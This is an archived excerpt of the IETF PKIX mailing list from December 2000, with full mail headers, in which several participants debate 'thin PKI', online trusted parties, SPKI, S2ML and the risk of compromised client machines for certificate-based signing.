Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_00D7_01C0668C.D4F5B160"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This is a multi-part message in MIME format.

------=_NextPart_000_00D7_01C0668C.D4F5B160
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi All,

I am leaving this job with effect from 18thDec'2000. This email ID would =
be invalid after that date. Please do not send mails to this address =
hereafter. You can use shantanubh@hotmail.com for further communication, =
if any.

Regards

Shantanu

------=_NextPart_000_00D7_01C0668C.D4F5B160
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi All,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I am leaving this job with effect from=20
18thDec'2000. This email ID would be invalid after that date. Please do =
not send=20
mails to this address hereafter. You can use <A=20
href=3D"mailto:shantanubh@hotmail.com">shantanubh@hotmail.com</A> for =
further=20
communication, if any.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regards</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Shantanu</FONT></DIV></BODY></HTML>

------=_NextPart_000_00D7_01C0668C.D4F5B160--



From owner-ietf-pkix@imc.org  Fri Dec 15 05:37:28 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA29157
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 05:37:27 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id CAA29950;
	Fri, 15 Dec 2000 02:33:55 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 02:33:39 -0800
Received: from maild.telia.com (root@maild.telia.com [194.22.190.3])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id CAA29915
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 02:33:38 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241])
	by maild.telia.com (8.9.3/8.9.3) with ESMTP id LAA13179;
	Fri, 15 Dec 2000 11:33:47 +0100 (CET)
Received: from mega (t5o69p92.telia.com [213.64.110.92])
	by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eBFAXSo02468;
	Fri, 15 Dec 2000 11:33:43 +0100 (CET)
Message-ID: <009601c06682$4bafd4d0$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "Stephen Kent" <kent@bbn.com>, "PKIX-List" <ietf-pkix@imc.org>
Subject: Thin PKI won - You lost
Date: Fri, 15 Dec 2000 11:31:56 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id CAA29916
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 8bit

Hi Steve, 
Do you remember the debate I started some 18 months ago when I launched the 
"Thin PKI"/CyberPhone concept in this list? 

   http://www.mobilephones-tng.com/v100/dynamiccerts.html

The concept in a nutshell: When you engage in inter-organizational activities you let an 
"organization server" vouch for its employees (clients) by signing (AC-like) credentials on the fly for 
authentication, and signing outgoing transactions on the clients request. All this without using
any direct PKI-based "connection" between the client and the RP.   BTW, the client does 
not even have to use PKI! 

You claimed that this was a bad idea, while I claimed that this is "the future for PKI".

After reading the S2ML-draft 0.7a I can inform you that this specification, which is supported by
VeriSign, RSA etc. use exactly this scheme for authentications and authorizations.  And so does
BTW VISA's coming 3D-SSL payment solution as well.

                                 Any comments? :-) :-)

My guess is that this will in a couple of years, smash quite a few PKI-projects into pieces!

For those who are engaged in federal or national PKIs, and Bridge-CAs etc.:

                   === You are very likely to be on the wrong track! ===

We need thin "interoperable domains" (VISA's term) between organizations, not giant PKIs where
"everybody is talking to everybody" (certificate-wise).  The banks use the former model, and although
banks cannot be accused for being hi-tech, they have anyway succeeded in doing advanced O2O/B2B-things
(even globally), supporting millions of ordinary users on the Internet,  which none of the many
government-sponsored PKI-programs have achieved, or will ever achieve using current PKI-models.

Signature archival is a built-in feature using Thin PKI, instead of something that
you with great pains "glue" to a basically broken system.

The term "Thin PKI" was coined by me to denote the fact that you with a single cert+key could
"do anything" you'll ever need.  It could actually be extended to organizations as well.

That interoperability becomes a no-issue (at least compared to the "classical" PKI approach), is
the fact that a single commercial TTP can w.o. problems certify millions of organizations.
I.e. much of this CA policy-stuff that some organizations are working with is in vain as most
organizations will buy pre-packaged products.  "Trust" is actually something that has to be created within
organizations and that is (except for a few die-hard PKIers), virtually independent on CA policies.

Anders Rundgren
co-founder
X-OBI
+46 70 - 627 74 37



From owner-ietf-pkix@imc.org  Fri Dec 15 07:46:45 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA26193
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 07:46:45 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id EAA11636;
	Fri, 15 Dec 2000 04:43:16 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 04:43:05 -0800
Received: from dfmail.f-secure.com (dfmail.f-secure.com [194.252.6.39])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id EAA11595
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 04:43:04 -0800 (PST)
Received: (qmail 17789 invoked by uid 0); 15 Dec 2000 12:45:53 -0000
Received: from fsinterface.f-secure.com (HELO fsfwfi01) (194.252.6.33)
  by dfmail.f-secure.com with SMTP; 15 Dec 2000 12:45:53 -0000
Received: (qmail 25080 invoked from network); 15 Dec 2000 12:45:33 -0000
Received: from fs129-092.f-secure.com (HELO F-Secure.com) (10.128.129.92)
  by dfintra.f-secure.com with SMTP; 15 Dec 2000 12:45:33 -0000
Message-ID: <3A3A1299.8E5A54AD@F-Secure.com>
Date: Fri, 15 Dec 2000 14:46:17 +0200
From: Camillo =?iso-8859-1?Q?S=E4rs?= <Camillo.Sars@F-Secure.com>
Organization: F-Secure Corporation
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: sv-FI,sv,en,fi,fr
MIME-Version: 1.0
To: Anders Rundgren <anders.rundgren@telia.com>
CC: PKIX-List <ietf-pkix@imc.org>
Subject: Re: Thin PKI won - You lost
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se>
Content-Type: text/plain; charset=iso-8859-1
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id EAA11636
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id HAA26193

Hi Anders,

(Cc: to PKIX - feel free to disregard this message if it conflicts too
badly with your beliefs.)

Anders Rundgren wrote:
> The concept in a nutshell: When you engage in inter-organizational 
> activities you let an "organization server" vouch for its employees 
> (clients) by signing (AC-like) credentials on the fly for
> authentication, and signing outgoing transactions on the clients 
> request. All this without using any direct PKI-based "connection" 
> between the client and the RP.   BTW, the client does not even have to
> use PKI!

This is beginning to sound familiar, although you are still relying heavily
on the "on-line trusted party" role.  Which is fine in some cases, but not
generally applicable nor stricly speaking always necessary.

> You claimed that this was a bad idea, while I claimed that this is "the 
> future for PKI".
["You" refers to Stephen Kent]
> 
> After reading the S2ML-draft 0.7a I can inform you that this 
> specification, which is supported by VeriSign, RSA etc. use exactly this 
> scheme for authentications and authorizations.  And so does BTW VISA's 
> coming 3D-SSL payment solution as well.
> 
>                                  Any comments? :-) :-)

Add a few features:
- Ability to generate limited-authority certificates beforehand for limited
periods of time.  E.g. "PP can buy pens today".
- Ability to optionally delegate the rights.
- Ability to restrict rights during delegation.

and what you effectively have is very close the semantics of SPKI.

> My guess is that this will in a couple of years, smash quite a few 
> PKI-projects into pieces!
> 
> For those who are engaged in federal or national PKIs, and Bridge-CAs 
> etc.:
> 
>                    === You are very likely to be on the wrong track! ===

I tend to agree with you.  For most on-line transactions, the concept of
"identity" is fairly irrelevant - the real issue for the relying party is
the authorization to perform an action.  Once the high-level legal trust
relationships exist [Read: "If you cheat, we will sue you out of
business."], the remaining issues are mostly about transferring
authorization - delegation - and avoiding fraud by the users.

On a side track, current "Qualified Identity Certificate" systems are very
vulnerable to private key exposure and require highly trusted terminals. 
Windows-based PCs are not such trusted terminals, regardless of how many
smart cards you buy.  This issue is usually not discussed at all, which I
find very alarming.

In certificate systems where authorizations are higly granular, atomic and
limited, the risk introduced by improper use of a private key or the
compromise of the signing system is significantly smaller.  As a matter of
fact, I believe this is the only way we can ever make PKI-based eCommerce
work outside laboratories.

Regards,
Camillo Särs
-- 
Camillo Särs <Camillo.Sars@F-Secure.com>       http://www.iki.fi/ged/
Security Researcher, F-Secure Corporation      http://www.F-Secure.com
    *** My office phone number has changed to +358 9 2520 5554 ***
   F-Secure products: Securing the Mobile, Distributed Enterprise


From owner-ietf-pkix@imc.org  Fri Dec 15 08:27:46 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA04747
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 08:27:46 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA14274;
	Fri, 15 Dec 2000 05:23:59 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 05:23:56 -0800
Received: from mailf.telia.com (root@mailf.telia.com [194.22.194.25])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA14241
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 05:23:54 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241])
	by mailf.telia.com (8.9.3/8.9.3) with ESMTP id OAA08233;
	Fri, 15 Dec 2000 14:26:43 +0100 (CET)
Received: from mega (t3o69p5.telia.com [62.20.145.5])
	by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eBFDQgo06377;
	Fri, 15 Dec 2000 14:26:42 +0100 (CET)
Message-ID: <006b01c0669a$745aac30$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: =?iso-8859-1?Q?Camillo_S=E4rs?= <Camillo.Sars@F-Secure.com>
Cc: "PKIX-List" <ietf-pkix@imc.org>
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <3A3A1299.8E5A54AD@F-Secure.com>
Subject: S2ML, Thin PKI and SPKI
Date: Fri, 15 Dec 2000 14:25:11 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id FAA14243
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id FAA14274
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id IAA04747

Hi Camillo,

> Anders Rundgren wrote:
> > The concept in a nutshell: When you engage in inter-organizational 
> > activities you let an "organization server" vouch for its employees 
> > (clients) by signing (AC-like) credentials on the fly for
> > authentication, and signing outgoing transactions on the clients 
> > request. All this without using any direct PKI-based "connection" 
> > between the client and the RP.   BTW, the client does not even have to
> > use PKI!
> 
> This is beginning to sound familiar, although you are still relying heavily
> on the "on-line trusted party" role.  Which is fine in some cases, but not
> generally applicable nor stricly speaking always necessary.

The reason for having the on-line trusted party (sort of real-time attribute CA) is that
it can generate whatever credential you need, when you need it, and without any
distribution or installation.   For O2O authentications I would say that it is
generally applicable.  It is a pure convenience solution.

<snip>

> and what you effectively have is very close the semantics of SPKI.

But without the distribution hassles.

> In certificate systems where authorizations are higly granular, atomic and
> limited, the risk introduced by improper use of a private key or the
> compromise of the signing system is significantly smaller. 

Actually I am much less confident that S2ML's authorization system will be that popular,
as there are other solutions like OBI, that keeps authorizations "at home".  And
the kind of granularity you have "at home" can be anything from getting a "Yes"
from the boss, to fully rule-based systems where each individual can do only
exactly what he/she is supposed to do.  To the outside world there is for most
outgoing messages, no real visible authorization.  Small order, large order,
they all look the same.

>As a matter of
> fact, I believe this is the only way we can ever make PKI-based eCommerce
> work outside laboratories.

You refer to SPKI here I guess?  A bit unfortunate for SPKI, is that it has been shunned by´
the "big ones" and S2ML will just make this worse.

Or did I get that wrong?

/anders



From owner-ietf-pkix@imc.org  Fri Dec 15 08:42:03 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA07350
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 08:42:03 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA15171;
	Fri, 15 Dec 2000 05:38:37 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 05:38:35 -0800
Received: from dfmail.f-secure.com (dfmail.f-secure.com [194.252.6.39])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA15138
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 05:38:33 -0800 (PST)
Received: (qmail 3594 invoked by uid 0); 15 Dec 2000 13:41:23 -0000
Received: from fsinterface.f-secure.com (HELO fsfwfi01) (194.252.6.33)
  by dfmail.f-secure.com with SMTP; 15 Dec 2000 13:41:23 -0000
Received: (qmail 20833 invoked from network); 15 Dec 2000 13:41:22 -0000
Received: from fs129-092.f-secure.com (HELO F-Secure.com) (10.128.129.92)
  by dfintra.f-secure.com with SMTP; 15 Dec 2000 13:41:22 -0000
Message-ID: <3A3A1FAD.376BC972@F-Secure.com>
Date: Fri, 15 Dec 2000 15:42:05 +0200
From: Camillo =?iso-8859-1?Q?S=E4rs?= <Camillo.Sars@F-Secure.com>
Organization: F-Secure Corporation
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: sv-FI,sv,en,fi,fr
MIME-Version: 1.0
To: Anders Rundgren <anders.rundgren@telia.com>
CC: PKIX-List <ietf-pkix@imc.org>
Subject: Re: S2ML, Thin PKI and SPKI
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <3A3A1299.8E5A54AD@F-Secure.com> <006b01c0669a$745aac30$0201a8c0@vincent.se>
Content-Type: text/plain; charset=iso-8859-1
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id FAA15171
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id IAA07350

Anders Rundgren wrote:
> The reason for having the on-line trusted party (sort of real-time 
> attribute CA) is that it can generate whatever credential you need, when 
> you need it, and without any distribution or installation.

Quite useful, you are right.  But still - there are cases where generating
some credentials beforehand makes sense.  Which means that it makes sense
to allow it.  And "sense" here is "business sense".

> > and what you effectively have is very close the semantics of SPKI.
> 
> But without the distribution hassles.

Agreed.

> > In certificate systems where authorizations are higly granular, atomic and
> > limited, the risk introduced by improper use of a private key or the
> > compromise of the signing system is significantly smaller.
> 
> Actually I am much less confident that S2ML's authorization system will 
> be that popular,

I wasn't really focusing on that, but rather on the risk model.  Any model
that allows almost arbitrary "contracts" to be signed without discretion
are just too risky for real-life implementation.  The scope of the
authorization granted by the certificate should be minimal, not maximal as
in current X.509-based solutions.  Get a suitable trojan onto a user's
system, and you can sell his house, his car and make him file for divorce.
I, for one, won't be getting any certificates with that risk model. No
way.  They invert the legal burden of proof - I have to show that someone
else did these things.  How many courts of law are technically qualified to
know the difference?

> >As a matter of
> > fact, I believe this is the only way we can ever make PKI-based eCommerce
> > work outside laboratories.
> 
> You refer to SPKI here I guess?  A bit unfortunate for SPKI, is that it 
> has been shunned by´ the "big ones" and S2ML will just make this worse.
> 
> Or did I get that wrong?

You did.  SPKI is just one example of a more suitable semantic model, with
much nicer security properties.  I just happen to like it, preferences
vary.  If the "big ones" want to re-invent the wheel, or make silly
compromises, they are quite free to do so (:-).  My argument was more on
the point that systems *must* limit the power of the signatures.  And that
this limitation cannot happen on the signing client, as it runs highly
vulnerable and untrusted software.  *Any* step that limits the power is
good.  I don't care who takes it, and how, but VISA is one example of an
organization that knows something about risk management.

Regards,
Camillo
-- 
Camillo Särs <Camillo.Sars@F-Secure.com>       http://www.iki.fi/ged/
Security Researcher, F-Secure Corporation      http://www.F-Secure.com
    *** My office phone number has changed to +358 9 2520 5554 ***
   F-Secure products: Securing the Mobile, Distributed Enterprise


From owner-ietf-pkix@imc.org  Fri Dec 15 09:38:43 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA13665
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 09:38:42 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA16853;
	Fri, 15 Dec 2000 06:35:03 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 06:34:53 -0800
Received: from ns.caldera.de (ns.caldera.de [212.34.180.1])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA16799
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 06:34:51 -0800 (PST)
Received: (from daemon@localhost)
	by ns.caldera.de (8.9.3/8.9.3) id PAA03361;
	Fri, 15 Dec 2000 15:36:57 +0100
Received: from monad.caldera.de(212.34.180.129)
 via SMTP by ns.caldera.de, id smtpdkgY89f; Fri Dec 15 15:36:56 2000
Received: (from okir@localhost)
	by monad.caldera.de (8.9.3/8.9.3) id PAA26114;
	Fri, 15 Dec 2000 15:37:54 +0100
Date: Fri, 15 Dec 2000 15:37:53 +0100
From: Olaf Kirch <okir@caldera.de>
To: =?iso-8859-1?Q?Camillo_S=E4rs?= <Camillo.Sars@F-Secure.com>
Cc: Anders Rundgren <anders.rundgren@telia.com>, PKIX-List <ietf-pkix@imc.org>
Subject: Re: S2ML, Thin PKI and SPKI
Message-ID: <20001215153753.N24805@monad.caldera.de>
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <3A3A1299.8E5A54AD@F-Secure.com> <006b01c0669a$745aac30$0201a8c0@vincent.se> <3A3A1FAD.376BC972@F-Secure.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3A3A1FAD.376BC972@F-Secure.com>; from Camillo.Sars@F-Secure.com on Fri, Dec 15, 2000 at 03:42:05PM +0200
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id GAA16853
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id JAA13665

On Fri, Dec 15, 2000 at 03:42:05PM +0200, Camillo Särs wrote:
> I wasn't really focusing on that, but rather on the risk model.  Any model
> that allows almost arbitrary "contracts" to be signed without discretion
> are just too risky for real-life implementation.

I've started becoming interested in X.509 stuff only quite recently, but
all standards/drafts/etc I've read so far failed to mention the risk of
client platform compromise. This had me baffled quite a bit. The threat
is nothing new (see Kerberos' TGTs), so does this mean that e.g. PKIX
certificates are never supposed to be used on ordinary PCs?

Olaf
-- 
Olaf Kirch         |  --- o --- Nous sommes du soleil we love when we play
okir@monad.swb.de  |    / | \   sol.dhoop.naytheet.ah kin.ir.samse.qurax
okir@caldera.de    +-------------------- Why Not?! -----------------------
         UNIX, n.: Spanish manufacturer of fire extinguishers.            


From owner-ietf-pkix@imc.org  Fri Dec 15 10:14:32 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA21335
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 10:14:32 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA19185;
	Fri, 15 Dec 2000 07:10:56 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 07:10:51 -0800
Received: from mail01-ewr.pilot.net (mail-ewr-1.pilot.net [206.98.230.18])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA19155
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 07:10:50 -0800 (PST)
From: Lynn.Wheeler@firstdata.com
Received: from mailgw.firstdata.com ([204.48.27.156]) by mail01-ewr.pilot.net with ESMTP id KAA24737; Fri, 15 Dec 2000 10:13:41 -0500 (EST)
Received: from lnsunr02.fl.firstdata.com (localhost [127.0.0.1]) by mailgw.firstdata.com with SMTP id KAA11700; Fri, 15 Dec 2000 10:13:40 -0500 (EST)
Received: by lnsunr02.fl.firstdata.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 852569B6.00539018 ; Fri, 15 Dec 2000 10:12:43 -0500
X-Lotus-FromDomain: FDC
To: Camillo S=?iso-8859-1?Q?=E4rs?= <Camillo.Sars@F-Secure.com>
cc: Anders Rundgren <anders.rundgren@telia.com>, PKIX-List <ietf-pkix@imc.org>
Message-ID: <852569B6.00538CCB.00@lnsunr02.fl.firstdata.com>
Date: Fri, 15 Dec 2000 07:52:23 -0800
Subject: Re: Thin PKI won - You lost
Mime-Version: 1.0
Content-type: multipart/mixed; 
	Boundary="0__=SXhONIMCTN4tuvYKOACKG1cg7UeO09ZiAW1vGJhBpKvYwzStT7KPllSz"
Content-Disposition: inline
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

--0__=SXhONIMCTN4tuvYKOACKG1cg7UeO09ZiAW1vGJhBpKvYwzStT7KPllSz
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline




in retail electronic transactions ... not only is "identity" fairly irrelevent
... it represents privacy compromise

that is one reason that some of the european parties a couple years ago went to
"relying-party-only" certificates ...  we've been able to show for 3-4 years
that using certificate compression techniques that such certificates can be
highly  compressed to zero bytes (superfulous and redundant to repeatedly resend
copies of information to the relying party that has the original copy of the
information).

the real issue is does any of the transactions have to be offline. the analogy
is the business paper checks of the '60s that had signing limits ... until they
found that people were signing 200 individual checks to achieve their results.

certificates (of whatever kind) represent offline trust propogation between
entities with no prior business relationship. as online becomes more & more
prevalent and online costs drop, the threshold justifying not doing things
online is dropping. the typical current day replacement for the '60s signing
limit paper checks is a corporate purchase card, akin to a form of (online,
electronic) credit card, that in addition to the familiar credit limit (i.e.
real time aggregated balance), also can have business rules about things like
merchant type, specific merchant, merchant location, and SKU (product) codes.

x9.59 (financial industry standard for all electronic account-based retail
transactions) addresses all of this.

the response (to the merchant) doesn't currently have to be signed for
authentication purposes because it comes in via a trusted network. One could
imagine migration to a non-trusted network implementation for the response ...
reguiring signed authentication. However, because of the required prior business
relationships there isn't a requirement for offline trust propogation, the
public key of the responding merchant financial entity is simply installed at
the merchant (possibly in a manner similar to the way that root public keys are
delivered in browsers, but under somewhat more strict business controls).

one way of characterising a much thiner form of PKI uses highly optimized
compression techniques for redundant and superfulous information transmission
reducing certificate size to zero bytes in cases of online transaction between
entities with prior business relationship (i.e. in the retail transaction
scenerio, there is a consumer instruction to the consumer's financial
institution, and the response is an instruction from the merchant's financial
institution to the merchant).

the transaction value threshold for offline trust propogation involving
certificates that haven't been compressed to zero bytes is dropping as online
becomes more & more ubiquitous and the corresponding cost of online drops.





Camillo S
--0__=SXhONIMCTN4tuvYKOACKG1cg7UeO09ZiAW1vGJhBpKvYwzStT7KPllSz
Content-type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable


=E4rs <Camillo.Sars@F-Secure.com> on 12/15/2000 04:46:17 AM



I tend to agree with you.  For most on-line transactions, the concept o=
f
"identity" is fairly irrelevant - the real issue for the relying party =
is
the authorization to perform an action.  Once the high-level legal trus=
t
relationships exist [Read: "If you cheat, we will sue you out of
business."], the remaining issues are mostly about transferring
authorization - delegation - and avoiding fraud by the users.




=

--0__=SXhONIMCTN4tuvYKOACKG1cg7UeO09ZiAW1vGJhBpKvYwzStT7KPllSz--



From owner-ietf-pkix@imc.org  Fri Dec 15 10:28:20 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA25600
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 10:28:20 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA21716;
	Fri, 15 Dec 2000 07:24:35 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 07:24:33 -0800
Received: from mail01-ewr.pilot.net (mail-ewr-1.pilot.net [206.98.230.18])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA21678
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 07:24:32 -0800 (PST)
From: Lynn.Wheeler@firstdata.com
Received: from mailgw.firstdata.com ([204.48.27.156]) by mail01-ewr.pilot.net with ESMTP id KAA00326; Fri, 15 Dec 2000 10:27:23 -0500 (EST)
Received: from lnsunr02.fl.firstdata.com (localhost [127.0.0.1]) by mailgw.firstdata.com with SMTP id KAA13512; Fri, 15 Dec 2000 10:27:21 -0500 (EST)
Received: by lnsunr02.fl.firstdata.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 852569B6.0054CF1F ; Fri, 15 Dec 2000 10:26:20 -0500
X-Lotus-FromDomain: FDC
To: Camillo S=?iso-8859-1?Q?=E4rs?= <Camillo.Sars@F-Secure.com>
cc: Anders Rundgren <anders.rundgren@telia.com>, PKIX-List <ietf-pkix@imc.org>
Message-ID: <852569B6.0054CC75.00@lnsunr02.fl.firstdata.com>
Date: Fri, 15 Dec 2000 08:24:19 -0800
Subject: Re: Thin PKI won - You lost
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe





>the response (to the merchant) doesn't currently have to be signed
>for authentication purposes because it comes in via a trusted network.
>One could imagine migration to a non-trusted network implementation
>for the response ... reguiring signed authentication. However, because
>of the required prior business relationships there isn't a requirement for
>offline trust propogation, the public key of the responding merchant
>financial entity is simply installed at the merchant (possibly in a manner
>similar to the way that root public keys are delivered in browsers,
>but under somewhat more strict business controls).

of course one could quibble whether the above referenced signed response is a
thin certificate or not. it could look & taste like a thin certificate ... the
primary business difference between a thin certificate and a signed transactions
... is one (the certificate) is signed before the transaction (and might
possibly be used for multiple transactions) and the other (signed transaction)
is specific to the current transactions. In effect, the thin certificate has the
liable party signing something for offline trust propogation that they might not
have exact knowledge of before hand. As a thin PKI makes more & more of the
transition to online ... it eventually crosses the business line from doing
pre-authorized signatures to signing the actual transactions.






From owner-ietf-pkix@imc.org  Fri Dec 15 10:58:56 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA04301
	for <pkix-archive@odin.ietf.org>; Fri, 15 Dec 2000 10:58:55 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA25720;
	Fri, 15 Dec 2000 07:54:04 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 07:53:56 -0800
Received: from certplus.com ([195.101.88.81])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA25690
	for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 07:53:55 -0800 (PST)
